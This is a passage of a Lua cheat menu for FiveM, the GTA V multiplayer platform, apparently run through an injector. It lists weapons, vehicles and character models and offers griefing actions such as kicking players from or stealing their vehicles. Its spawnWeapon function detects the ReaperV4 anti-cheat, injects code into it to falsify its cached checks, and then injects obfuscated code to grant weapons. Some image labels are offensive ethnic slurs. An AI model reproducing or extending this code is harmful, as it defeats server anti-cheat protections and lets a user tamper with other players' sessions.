"https://vignette.wikia.nocookie.net/gtawiki/images/0/01/SNSPistolMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108211544", ['HEAVYPISTOL'] = "https://i.ibb.co/B2dg9BpX/2afce878-cdaf-4762-9c10-8a2c9c29e7ac-crowbar-gtav-8.png", ['VINTAGEPISTOL'] = "https://vignette.wikia.nocookie.net/gtawiki/images/5/5c/VintagePistol-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108211655", ['STUNGUN'] = "https://vignette.wikia.nocookie.net/gtawiki/images/8/86/StunGun-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108211633", ['FLAREGUN'] = "https://vignette.wikia.nocookie.net/gtawiki/images/c/c0/FlareGun-GTAO.png/revision/latest/scale-to-width-down/350?cb=20180108204710" }, }, ['SMG'] = { a = 1, b = {"MICROSMG", "MINISMG", "SMG", "SMG_MK2", "ASSAULTSMG", "COMBATPDW", "GUSENBERG", "MACHINEPISTOL", "MG", "COMBATMG", "COMBATMG_MK2"}, c = { ["MICROSMG"] = 'https://i.ibb.co/DgC90H6q/e7fcddcc-eadd-4d41-ace1-9a6a11cdf515-crowbar-gtav-10.png', ["MINISMG"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/6/60/MiniSMG-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108210116', ["SMG"] = 'https://i.ibb.co/DHnK11gv/d1c32590-6d16-49f7-92a9-383205856091-crowbar-gtav-11.png', ["SMG_MK2"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/9/9e/SMGMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108195635', ["ASSAULTSMG"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/0/08/AssaultSMG-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108195945', ["COMBATPDW"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/2/25/CombatPDW-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108200353', ['GUSENBERG'] = 'https://i.ibb.co/G4qRQjtb/80f8f21e-44f8-48fe-b8c0-c69b74b28c30-crowbar-gtav-12.png', ["MACHINEPISTOL"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/c/c4/MachinePistol-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108195137', ["MG"] = 'https://i.ibb.co/JFpnR7hC/19e42e7a-a902-4f7a-99c1-b46d3c6d4265-crowbar-gtav-13.png', ["COMBATMG"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/c/c4/CombatMG-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108204317', ["COMBATMG_MK2"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/c/cc/CombatMGMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108204355', }, }, ['Rifle'] = { a = 1, b = {"ASSAULTRIFLE", "ASSAULTRIFLE_MK2", "CARBINERIFLE", "CARBINERIFLE_MK2", "ADVANCEDRIFLE", "SPECIALCARBINE", "SPECIALCARBINE_MK2", "BULLPUPRIFLE", "BULLPUPRIFLE_MK2", "COMPACTRIFLE"}, c = { ["ASSAULTRIFLE"] = 'https://i.ibb.co/jZBSXBf5/2ce97172-b983-4c2e-938f-f50f47b6409b-crowbar-gtav-18.png', ["ASSAULTRIFLE_MK2"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/5/5f/AssaultRifleMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108203958', ["CARBINERIFLE"] = 'https://i.ibb.co/gMhShhX7/d154d708-2844-4dc9-ba7e-f15467d04d6d-crowbar-gtav-15.png', ["CARBINERIFLE_MK2"] = 'https://i.ibb.co/Q38RSyMF/f63a2bd8-9748-4907-b262-b511e36a5bba-crowbar-gtav-16.png', ["ADVANCEDRIFLE"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/f/fc/AdvancedRifle-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108200521', ["SPECIALCARBINE"] = 'https://i.ibb.co/r23sqnpH/3a1e7b26-4d71-4ccb-afeb-edc4e66d97a3-crowbar-gtav-17.png', ["SPECIALCARBINE_MK2"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/b/bd/SpecialCarbineMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108200905', ["BULLPUPRIFLE"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/d/d2/BullpupRifle-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108201107', ["BULLPUPRIFLE_MK2"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/5/5e/BullpupRifleMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108201133', ["COMPACTRIFLE"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/8/8c/CompactRifle-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108201447', }, }, ['Shotguns'] = { a = 1, b = {"PUMPSHOTGUN", "PUMPSHOTGUN_MK2", "SWEEPERSHOTGUN", "SAWNOFFSHOTGUN", "BULLPUPSHOTGUN", "ASSAULTSHOTGUN", "MUSKET", "HEAVYSHOTGUN", "DBSHOTGUN"}, c = { ["PUMPSHOTGUN"] = 'https://i.ibb.co/yBS5k27Z/ce7d6487-693c-4ea7-bf78-556979632d2e-crowbar-gtav-19.png', ["PUMPSHOTGUN_MK2"] = 'https://i.ibb.co/5W3RbN8N/c08e9402-2cf9-4008-93f7-d3cc42ae7480-crowbar-gtav-20.png', ["SWEEPERSHOTGUN"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/d/dc/SweeperShotgun-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108203310', ["SAWNOFFSHOTGUN"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/e/e4/SawedOffShotgun-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108202444', ["BULLPUPSHOTGUN"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/d/dc/BullpupShotgun-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108202503', ["ASSAULTSHOTGUN"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/e/ef/AssaultShotgun-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108202910', ["MUSKET"] = 'https://i.ibb.co/rfk8WBFK/2678f137-5a8a-49eb-92f1-91f5e7bf3316-crowbar-gtav-21.png', ["HEAVYSHOTGUN"] = 'https://vignette.wikia.nocookie.net/gtawiki/images/0/0a/HeavyShotgun-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108202953', ["DBSHOTGUN"] = 'https://i.ibb.co/8npyk6Cg/5c73b0c3-2247-4758-a8e3-918715fe77d1-crowbar-gtav-22.png', }, }, ['Heavy'] = { a = 1, b = {"CompactGrenadeLauncher", "FireworkLauncher", "GrenadeLauncher", "HomingLauncher", "Minigun", "Railgun", "RPG"}, c = { ['CompactGrenadeLauncher'] = 'https://static.wikia.nocookie.net/gtawiki/images/6/61/CompactGrenadeLauncher-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108203355', ['FireworkLauncher'] = 'https://static.wikia.nocookie.net/gtawiki/images/0/01/FireworkLauncher-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108203338', ['GrenadeLauncher'] = 'https://i.ibb.co/XkvmDmX7/4d871d08-5eee-4caf-a2bf-1941c8efe9a9-crowbar-gtav-23.png', ['HomingLauncher'] = 'https://static.wikia.nocookie.net/gtawiki/images/8/8a/HomingLauncher-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108205802', ['Minigun'] = 'https://i.ibb.co/Rk21rTPW/96398c47-0acf-4b9a-8111-bef2548dc412-crowbar-gtav-24.png', ['Railgun'] = 'https://static.wikia.nocookie.net/gtawiki/images/2/2e/Railgun-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108210857', ['RPG'] = 'https://i.ibb.co/k2mPQC8k/c5a9d64d-b8c9-4fff-8414-95627bb467b8-crowbar-gtav-14.png', }, }, ['Snipers'] = { a = 1, b = {"HeavySniper", "HeavySniper_MK2", "MarksmanRifle", "MarksmanRifle_MK2", "SniperRifle"}, c = { ['HeavySniper'] = 'https://i.ibb.co/pBYmBstH/ccb1b5cd-143f-4917-8f23-c6f9ce5c82c4-crowbar-gtav-25.png', ['HeavySniper_MK2'] = 'https://static.wikia.nocookie.net/gtawiki/images/f/f9/HeavySniperMkII-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108201713', ['MarksmanRifle'] = 'https://static.wikia.nocookie.net/gtawiki/images/5/5c/MarksmanRifle-GTAV.png/revision/latest/scale-to-width-down/350?cb=20180108201724', ['MarksmanRifle_MK2'] = 'https://i.ibb.co/d4t2wGN7/6b3e442f-2b9b-493f-859c-5d05625d6139-crowbar-gtav-27.png', ['SniperRifle'] = 'https://i.ibb.co/20fJCbGD/0732dee2-d201-4891-9af1-57230130f0c5-crowbar-gtav-26.png', }, } } local PedData = { ['Models'] = { a = 1, b = { "mp_m_freemode_01", "g_m_m_chicold_01", "ig_djgeneric_01", "csb_anton", "a_m_y_hippy_01", "u_m_y_staggrm_01", "u_m_y_party_01", "u_m_m_jesus_01", "u_f_o_carol", "s_m_m_strperf_01", "ig_johnnyklebitz", "s_f_y_hooker_02", "a_c_chimp", "a_m_m_afriamer_01", "u_m_y_mani", "ig_avery", "ig_malc", "a_f_m_fatcult_01", "a_m_m_golfer_01", "a_m_m_tramp_01", "a_m_o_beach_01", "u_m_y_zombie_01", "u_m_y_juggernaut_01", "u_m_m_partytarget", "u_m_y_imporage", "a_m_m_acult_01", "mp_m_bogdangoon", "s_m_m_fibsec_01", "s_m_y_dealer_01", "ig_jimmyboston_02", "S_M_M_Paramedic_01", "s_f_y_stripper_01", "s_m_y_cop_01", "U_M_O_TapHillBilly", "s_m_o_busker_01", "u_m_y_pogo_01", "s_m_m_movspace_01", "s_m_m_movalien_01", "CS_BradCadaver", }, c = { ["mp_m_freemode_01"] = "https://i.ibb.co/KxSFjHcs/0a403cc8-b084-4f41-b68e-8a56f33d96c1-mp-m-freemode-01-1.png", ["g_m_m_chicold_01"] = "https://i.ibb.co/pBDv2cx9/71cb782f-9502-48be-a9ec-4c0dac875d6f-mp-criminal.png", ["ig_djgeneric_01"] = "https://i.ibb.co/35FLW4jf/e45c4524-b5de-4717-bbbf-60786d1eda46-mp-m-freemode-01-1-1.png", ["csb_anton"] = "https://i.ibb.co/dstggz82/da5f9104-8df9-4628-86c6-78a20343657b-mp-m-freemode-01-1.jpg", ["a_m_y_hippy_01"] = "https://i.ibb.co/xt8PQ1wd/1d790b42-008d-4aae-b9cf-4ff5efd150e9-mp-m-freemode-01-1-1.jpg", ["u_m_y_staggrm_01"] = "https://i.ibb.co/GvQNGPV1/2002136d-5e46-454f-8e1e-6c28531ce275-mp-m-freemode-01-1-2.jpg", ["u_m_y_party_01"] = "https://i.ibb.co/VYhTDPKy/4734c312-8aca-48f0-bdbc-3a2173952bfb-mp-muhamad.png", ["u_m_m_jesus_01"] = "https://i.ibb.co/rKC4CZPr/2bad3e74-9e21-4c58-aaf7-08eb2e0cf7e7-mp-jesus.png", ["u_f_o_carol"] = "https://i.ibb.co/7x7SYq6g/f174fcff-8f58-470d-b258-3ee2b965594b-mp-fatgirl.png", ["s_m_m_strperf_01"] = "https://i.ibb.co/d47sgt2H/c784e193-723c-4f97-87e8-26df2104aa2d-mp-salut.png", ["ig_johnnyklebitz"] = "https://i.ibb.co/xt3jB7LR/6b178966-69c8-41a4-9821-108973030d44-mp-nohead.png", ["s_f_y_hooker_02"] = "https://i.ibb.co/8gVxW9nv/a1e38fae-e6d9-4164-8d48-f596eb49231e-mp-bitchh.png", ["a_c_chimp"] = "https://i.ibb.co/ZzsRYZdT/f6c41659-7d6a-463a-bb22-cb30058125b0-mp-kof.png", ["a_m_m_afriamer_01"] = "https://i.ibb.co/1GZGfKc8/322f2cd9-32d9-4594-a7a5-fd026387cf60-mp-shamen.png", ["u_m_y_mani"] = "https://i.ibb.co/ymPTqKSZ/00c133fc-b899-4159-a146-d4181d0f553a-mp-yapani.png", ["ig_avery"] = "https://i.ibb.co/YrNCJDT/738d6bc5-74a7-4b8a-9a95-0f3510f85ebf-mp-zaken.png", ["ig_malc"] = "https://i.ibb.co/FqDJWYYr/0bff4165-24ab-42f2-abb3-965379957661-mp-shahor.png", ["a_f_m_fatcult_01"] = "https://i.ibb.co/TxJvyBcG/ddefcfaf-008c-47ea-b1bf-cd6b6274effb-mp-fattt.png", ["a_m_m_golfer_01"] = "https://i.ibb.co/dsRGxp2C/f19b822f-9dbb-4960-ab5d-3c0611cc3fe4-mp-zakenmet.png", ["a_m_m_tramp_01"] = "https://i.ibb.co/D0nXtCW/07ec1017-e46b-4144-ac85-30405c616e43-mp-m-freemode-01-2.png", ["a_m_o_beach_01"] = "https://i.ibb.co/TM2DCHBD/36d9f7b6-66e6-425d-b3f1-8e07fd2e27c0-mp-laizan.png", ["u_m_y_zombie_01"] = "https://i.ibb.co/GQpJvYCq/b765929f-0f7e-468f-b6b7-cbe323006566-mp-zombie.png", ["u_m_y_juggernaut_01"] = "https://i.ibb.co/DgmY05qG/76d8e9a3-6340-40be-adbc-5281683942b4-mp-ronott.png", ["u_m_m_partytarget"] = "https://i.ibb.co/j9CJBgGL/4a3a2447-61fa-4fe9-aa1b-be48f9c15d01-mp-arabic.png", ["u_m_y_imporage"] = "https://i.ibb.co/tpvvP3Wp/abe20fc7-d0bc-43cc-b966-ec2e74e13339-mp-superhero.png", ["a_m_m_acult_01"] = "https://i.ibb.co/vvL59w35/34b0ce40-ac45-4e55-883c-ac0941af794a-mp-harum.png", ["mp_m_bogdangoon"] = "https://i.ibb.co/yFkFMSqB/3bcb869c-574e-4a31-8cfc-3abe1d5db5df-mp-terroris.png", ["s_m_m_fibsec_01"] = "https://i.ibb.co/Fq8x7Hc9/82214406-0cbe-46d0-a64c-a647fa44f38a-mp-fib.png", ["s_m_y_dealer_01"] = "https://i.ibb.co/Fk2Zp7yk/f3857ac0-211d-41b2-a860-84c1f2d4bc9b-mp-shahor-1.png", ["ig_jimmyboston_02"] = "https://i.ibb.co/zTjKbyLb/fc65e60d-e493-481f-938d-862b635b86c7-mp-m-freemode-01-3.png", ["S_M_M_Paramedic_01"] = "https://i.ibb.co/ynVykbM3/daf1b1ff-9e29-4ac0-bef8-c365ac59301f-mp-m-freemode-01-4.png", ["s_f_y_stripper_01"] = "https://i.ibb.co/C5FG8dHn/12588302-914a-4ce2-b2cb-d6832eb52a50-mp-m-freemode-01-5.png", ["s_m_y_cop_01"] = "https://i.ibb.co/11jJKmD/75c9451e-9aab-4200-bb6f-62d5637f6137-mp-m-freemode-01-6.png", ["U_M_O_TapHillBilly"] = "https://i.ibb.co/B8xSmgN/2852d5cf-57ff-4a3d-bacc-8f844a334ddd-mp-m-freemode-01-7.png", ["s_m_o_busker_01"] = "https://i.ibb.co/tTKdKCTF/bbe26d51-f903-4781-9dae-6d782aa423e2-mp-m-freemode-01-8.png", ["u_m_y_pogo_01"] = "https://i.ibb.co/ccNJCJKj/86fd80d0-34e2-488e-8941-a51abff03534-mp-m-freemode-01-9.png", ["s_m_m_movspace_01"] = "https://i.ibb.co/kVZJM6tz/7957dadb-8e21-4922-8b22-8be09d179dff-mp-m-freemode-01-10.png", ["s_m_m_movalien_01"] = "https://i.ibb.co/dJB7Q6Dj/dd69cc94-8d67-494e-8960-abeb5902cfd4-mp-m-freemode-01-11.png", ["CS_BradCadaver"] = "https://i.ibb.co/bcRDxSt/3b07fa32-948b-402c-b6a3-36e8e29d451d-mp-m-freemode-01-12.png", } } } local CurrentWeaponIndex = 1 local CurrentVehicleIndex = 1 local CurrentObjectIndex = 1 local CurrentPedIndex = 1 local WeaponList = { "WEAPON_APPISTOL", "VEHICLE_WEAPON_MULE4_MG", "WEAPON_RAILGUNXM3", "WEAPON_PISTOL", "WEAPON_SMG", "WEAPON_ASSAULTRIFLE", "WEAPON_RPG", "WEAPON_TRANQUILIZER", "WEAPON_MOLOTOV", "WEAPON_AIRSTRIKE_ROCKET", "WEAPON_VEHICLE_ROCKET", "VEHICLE_WEAPON_SPACE_ROCKET", "VEHICLE_WEAPON_RUINER_ROCKET", "vehicle_weapon_space_rocket", "VEHICLE_WEAPON_AKULA_MISSILE", "VEHICLE_WEAPON_SCRAMJET_MISSILE", "VEHICLE_WEAPON_VIGILANTE_MISSILE", "VEHICLE_WEAPON_AVENGER3_MINIGUN", "VEHICLE_WEAPON_HACKER_MISSILE", "vehicle_weapon_player_lazer", "vehicle_weapon_player_savage", "vehicle_weapon_player_bullet", "VEHICLE_WEAPON_VISERIS_MG", "VEHICLE_WEAPON_NOSE_TURRET_VALKYRIE" } -- Display names for weapons local WeaponDisplayNames = { ["WEAPON_APPISTOL"] = "AP Pistol", ["VEHICLE_WEAPON_MULE4_MG"] = "Silent Kill", ["WEAPON_RAILGUNXM3"] = "Railgun", ["WEAPON_PISTOL"] = "Pistol", ["WEAPON_SMG"] = "SMG", ["WEAPON_ASSAULTRIFLE"] = "Assault Rifle", ["WEAPON_RPG"] = "RPG", ["WEAPON_TRANQUILIZER"] = "Perm Kill (Risky)", ["WEAPON_MOLOTOV"] = "Molotov", ["WEAPON_AIRSTRIKE_ROCKET"] = "RPG1", ["WEAPON_VEHICLE_ROCKET"] = "RPG2", ["VEHICLE_WEAPON_SPACE_ROCKET"] = "RPG3", ["VEHICLE_WEAPON_RUINER_ROCKET"] = "RPG4", ["vehicle_weapon_space_rocket"] = "RPG5", ["VEHICLE_WEAPON_AKULA_MISSILE"] = "RPG6", ["VEHICLE_WEAPON_SCRAMJET_MISSILE"] = "RPG7", ["VEHICLE_WEAPON_VIGILANTE_MISSILE"] = "RPG8", ["VEHICLE_WEAPON_AVENGER3_MINIGUN"] = "RPG9", ["VEHICLE_WEAPON_HACKER_MISSILE"] = "RPG10", ["VEHICLE_WEAPON_NOSE_TURRET_VALKYRIE"] = "RPG11", ["vehicle_weapon_player_lazer"] = "Secret#1 (Risky)", ["VEHICLE_WEAPON_ZR3802_50CAL_LASER"] = "Secret#2", ["vehicle_weapon_player_bullet"] = "Secret#3", ["VEHICLE_WEAPON_VISERIS_MG"] = "Secret#4", } -- Create weapon options with display names local WeaponOptions = {} for i, weapon in ipairs(WeaponList) do WeaponOptions[i] = WeaponDisplayNames[weapon] or weapon end local VehicleList = { -- Super Cars 'adder', 't20', 'Bombushka', 'luxor2', 'entity2', 'jet ', 'titan', 'raiju', 'bullet', 'cheetah', 'infernus', 'vacca', 'voltic', 'ztype', 'elegy', 'ninef', 'ninef2', 'carbonizzare', 'coquette', 'stinger', 'stingergt', 'monroe', 'jb700', 'pigalle', 'casco', 'zion', 'feltzer2', 'furoregt', 'rrocket', 'scarab', 'scarab2', 'scarab3', 'schlagen', 'toros', 'viseris', -- Off-Road 'bfinjection', 'bifta', 'blazer', 'blazer2', 'blazer3', 'blazer4', 'blazer5', 'bodhi2', 'brawler', 'bruiser', 'bruiser2', 'bruiser3', 'caracara', 'caracara2', 'technical2', 'technical3', 'trophytruck', 'trophytruck2', 'vagrant', 'verus', 'winky', 'yosemite3', 'zhaba', -- Vans & Trucks 'speedo4', 'surfer', 'surfer2', 'taco', 'youga', 'youga2', 'youga3', -- Emergency 'ambulance', 'firetruk', 'lguard', 'pbus', 'pbus2', 'police', 'police2', 'police3', 'police4', 'policeb', 'policeold1', 'policeold2', 'policet', 'pranger', 'predator', 'riot', 'riot2', 'sheriff', 'sheriff2', -- Motorcycles 'akuma', 'avarus', 'bagger', 'bati', 'bati2', 'bf400', 'carbonrs', 'chimera', 'sovereign', 'stryder', 'thrust', 'vader', 'vindicator', 'vortex', 'wolfsbane', 'zombiea', 'zombieb', -- Aircraft 'alphaz1', 'avenger', 'avenger2', 'besra', 'blimp', 'blimp2', 'blimp3', 'bombushka', 'cargoplane', 'cuban800', 'dodo', 'duster', 'havok', 'howard', 'hunter', 'hydra', 'jet', 'lazer', 'luxor', 'luxor2', 'mammatus', 'microlight', 'miljet', 'mogul', 'molotok', 'nimbus', 'nokota', 'pyro', 'rogue', 'seabreeze', 'seasparrow', 'shamal', 'starling', 'strikeforce', 'stunt', 'titan', 'tula', 'velum', 'velum2', 'vestra', 'volatol', -- Helicopters 'akula', 'annihilator', 'buzzard', 'buzzard2', 'cargobob', 'cargobob2', 'cargobob3', 'cargobob4', 'frogger', 'frogger2', 'havok', 'hunter', 'maverick', 'polmav', 'savage', 'seasparrow', 'skylift', 'supervolito', 'supervolito2', 'swift', 'swift2', 'valkyrie', 'valkyrie2', 'volatus', -- Boats 'dinghy', 'dinghy2', 'dinghy3', 'dinghy4', 'jetmax', 'marquis', 'seashark', 'seashark2', 'seashark3', 'speeder', 'speeder2', 'squalo', 'submersible', 'submersible2', 'suntrap', 'toro', 'toro2', 'tropic', 'tropic2', 'tug' } local ObjectList = { -- Tools & Small Props 'prop_tool_broom', 'cargoplane', 'cargoplane2', 'sum_prop_dufocore_01a', 'hei_prop_heist_tug', 'prop_cj_big_boat', 'dt1_03_building', -- Neon Gates / Big Rings 'ar_prop_ar_neon_gate8x_04a', 'ar_prop_ar_neon_gate4x_04a', 'ar_prop_ar_neon_gate8x_02a', 'ar_prop_ar_neon_gate_02b', 'ar_prop_ar_neon_gate_01b', -- Misc Props 'prop_gas_pump_1a', 'prop_gas_pump_1b', 'prop_gas_pump_1c', 'prop_parking_wand_01', 'prop_portacabin01', 'prop_portacabin02', 'prop_portakabin_01', 'prop_portakabin_02', 'prop_rub_trolley01a', 'prop_rub_trolley02a', 'prop_rub_trolley03a', 'prop_skip_01a', 'prop_skip_02a', 'prop_skip_03', 'prop_skip_04', 'prop_skip_05a', 'prop_skip_05b', 'prop_skip_06a', 'prop_skip_08a', 'prop_skip_10a' } -- Display names for objects local ObjectDisplayNames = { ["ar_prop_ar_neon_gate8x_04a"] = "Big Ring #1", ["ar_prop_ar_neon_gate4x_04a"] = "Big Ring #2", ["ar_prop_ar_neon_gate8x_02a"] = "Big Ring #3", ["ar_prop_ar_neon_gate_02b"] = "Big Ring #4", ["ar_prop_ar_neon_gate_01b"] = "Big Ring #5", } -- Create object options with display names local ObjectOptions = {} for i, object in ipairs(ObjectList) do ObjectOptions[i] = ObjectDisplayNames[object] or object end local PedList = { -- Humans 'a_m_m_skater_01', 'a_m_y_hipster_01', 'a_f_y_hipster_01', 'a_m_y_business_01', 'a_f_y_business_01', 's_m_y_cop_01', 's_f_y_cop_01', 's_m_y_swat_01', 's_m_m_paramedic_01', 's_m_m_doctor_01', 's_m_y_fireman_01', 's_m_m_security_01', 'mp_m_freemode_01', 'mp_f_freemode_01', 'a_m_m_beach_01', 'a_f_y_beach_01', 'a_m_y_beach_02', 'ig_lestercrest', 'ig_trevor', 'ig_michael', 'ig_franklin', 'ig_lamar', 'ig_brad', 'ig_talina', 'ig_paper', 'ig_lamardavis', 'ig_barry', 'ig_bestmen', 'ig_beverly', 'ig_car3guy1', 'ig_car3guy2', 'ig_casey', 'ig_chef', 'ig_chengsr', 'ig_clay', 'ig_claypain', 'ig_cletus', 'ig_dale', 'ig_davenorton', 'ig_denise', 'ig_devin', 'ig_dom', 'ig_dreyfuss', 'ig_fabien', 'ig_floyd', 'ig_jimmyboston', 'ig_joeminuteman', 'ig_josef', 'ig_josh', 'ig_kerrymcintosh', 'ig_lifeinvad_01', 'ig_lifeinvad_02', 'ig_manuel', 'ig_milton', 'ig_nervousron', 'ig_nigel', 'ig_old_man1a', 'ig_old_man2', 'ig_omega', 'ig_oneil', 'ig_orleans', 'ig_ortega', 'ig_priest', 'ig_prolsec_02', 'ig_ramp_gang', 'ig_ramp_hic', 'ig_ramp_hipster', 'ig_ramp_mex', 'ig_roccopelosi', 'ig_russiandrunk', 'ig_screen_writer', 'ig_siemonyetarian', 'ig_solomon', 'ig_stevehains', 'ig_stretch', 'ig_tanisha', 'ig_taocheng', 'ig_taostranslator', 'ig_tenniscoach', 'ig_terry', 'ig_tomepsilon', 'ig_tonya', 'ig_tracydisanto', 'ig_trafficwarden', 'ig_tylerdix', 'ig_wade', 'ig_zimbor', -- Animals 'a_c_boar', 'a_c_cat_01', 'a_c_chickenhawk', 'a_c_chimp', 'a_c_chop', 'a_c_cormorant', 'a_c_cow', 'a_c_coyote', 'a_c_crow', 'a_c_deer', 'a_c_dolphin', 'a_c_fish', 'a_c_hen', 'a_c_humpback', 'a_c_husky', 'a_c_killerwhale', 'a_c_mtlion', 'a_c_pig', 'a_c_pigeon', 'a_c_poodle', 'a_c_pug', 'a_c_rabbit_01', 'a_c_rat', 'a_c_retriever', 'a_c_rhesus', 'a_c_rottweiler', 'a_c_seagull', 'a_c_sharkhammer', 'a_c_sharktiger', 'a_c_shepherd', 'a_c_stingray', 'a_c_westy' } local OptionLabels = { "Default", "Teleport", "Shoot Weapon", "Spawn Car", "Spawn Object", "Spawn Ped", "Shoot Vehicle", "Black Hole", "Kick from Vehicle", "Control Vehicle", "Steal Vehicle", "Delete Vehicle", "NPC Hijack Vehicle", "Remote Vehicle", "Drag Vehicle" } local HoveredIndex = 1 local Options = {} for _, label in ipairs(OptionLabels) do table.insert(Options, { label = label }) end local function GetHoveredOption() return Options[HoveredIndex] end local function CanTeleport() local currentTime = GetGameTimer() if currentTime - lastTeleportTime < teleportCooldown then return false end lastTeleportTime = currentTime return true end -- Function to send image data to Svelte local function sendImageToSvelte(imageType, imageUrl, label) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'showImage', imageType = imageType, -- 'weapon' or 'model' imageUrl = imageUrl, label = label or '' })) end end -- Function to hide image in Svelte local function hideImageInSvelte() if dui then MachoSendDuiMessage(dui, json.encode({ action = 'hideImage' })) end end -- Function to spawn weapon local function spawnWeapon(weaponHash) -- Detect ReaperV4 similar to ElectronAC detection local reaperV4ResourceName = nil do local detectedACs = GetAntiCheats() for _, acData in ipairs(detectedACs) do local acName = acData[1] local acRes = acData[2] if acName == "ReaperV4" and acRes then reaperV4ResourceName = acRes break end end end -- Check if ReaperV4 is running and update cache local isReaperV4Running = reaperV4ResourceName and GetResourceState(reaperV4ResourceName) == "started" if isReaperV4Running then -- Update ReaperV4 cache values when spawning weapon MachoInjectResource(reaperV4ResourceName, [[ local success = exports["ReaperV4"]:InvokeCPlayer("set", "player_loaded", false, true) if success then print("Updated Cache 1 Successfully") else print("Failed to Update Cache 1") end local success = exports["ReaperV4"]:InvokeCPlayer("set", "LastFailedMovementChecks", 0, true) if success then print("Updated Cache 2 Successfully") else print("Failed to Update 2 Cache") end Wait(500) local success = exports["ReaperV4"]:InvokeCPlayer("set", "NetworkIsInSpectatorMode", true, true) if success then print("Updated Cache 3 Successfully") else print("Failed to Update Cache 3") end ]]) end SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _ni(...) return _g(_b("SmartInvoker"))(...) end local weaponHash = _ni(_g(_b("GetHashKey")), "%s") local playerPed = _ni(_g(_b("PlayerPedId"))) _ni(_g(_b("GiveDelayedWeaponToPed")), playerPed, weaponHash, 250, false, true) ]], weaponHash)) end -- Function to change player model local function changePlayerModel(modelName) -- Make sure the modelName is not empty or invalid if not modelName or modelName == "" then print("Invalid model name") return end -- Inject the script to change the player's model SafeInjectResourceRaw(InjectionResource(), string.format([[ local modelHash = GetHashKey("%s") -- Request the model RequestModel(modelHash) -- Wait until the model is loaded while not HasModelLoaded(modelHash) do Wait(100) end -- Check if the model loaded successfully if HasModelLoaded(modelHash) then -- Set the player model SetPlayerModel(PlayerId(), modelHash) -- Ensure the player character's components are set correctly (Optional) SetPedComponentVariation(PlayerPedId(), 11, 0, 0, 2) -- This is an example for body parts -- Cleanup model once it's no longer needed SetModelAsNoLongerNeeded(modelHash) else print("Model failed to load!") end ]], modelName)) end -- Create weapon scroll menus for each category local function createWeaponScrollMenus() local weaponMenus = {} for categoryName, weapons in pairs(WeaponCategories) do table.insert(weaponMenus, { label = categoryName, type = 'scroll', selected = 1, canBind = true, bindName = 'Spawn ' .. categoryName, options = weapons, onConfirm = function(selectedWeapon) ---("Spawning weapon:", selectedWeapon.weapon) spawnWeapon(selectedWeapon.weapon) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawned: " .. selectedWeapon.label, type = 'success' })) end hideImageInSvelte() end, onChange = function(selectedWeapon) -- Send image data to Svelte when option changes sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }) end return weaponMenus end -- Create model changer scroll menu local function createModelChangerMenu() return { label = 'Model Changer', type = 'scroll', selected = 1, canBind = true, bindName = 'Change Player Model', options = ModelCategories, onConfirm = function(selectedModel) ---("Changing model to:", selectedModel.model) changePlayerModel(selectedModel.model) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Changed to: " .. selectedModel.label, type = 'success' })) end hideImageInSvelte() end, onChange = function(selectedModel) -- Send image data to Svelte when option changes sendImageToSvelte('model', selectedModel.image, selectedModel.label) end } end -- ===================== COMPLETELY REWORKED KEYBIND SYSTEM ===================== local function getControlName(controlId) if controlId >= 1000 and controlId <= 1025 then local letter = string.char(65 + (controlId - 1000)) return letter .. " Key" end if controlId >= 2000 and controlId <= 2009 then local number = controlId - 2000 return tostring(number) .. " Key" end if controlId >= 3000 and controlId <= 3011 then local funcNum = controlId - 3000 + 1 return "F" .. tostring(funcNum) .. " Key" end local controlName = ControlMap[controlId] if controlName then return controlName else return "Control" .. tostring(controlId) end end -- Function to get current feature state by name local function getFeatureState(featureName) if not featureName then return nil end -- Try to find the feature in the menu and get its current state local function findFeatureInMenu(menu, name) if not menu or type(menu) ~= "table" then return nil end for 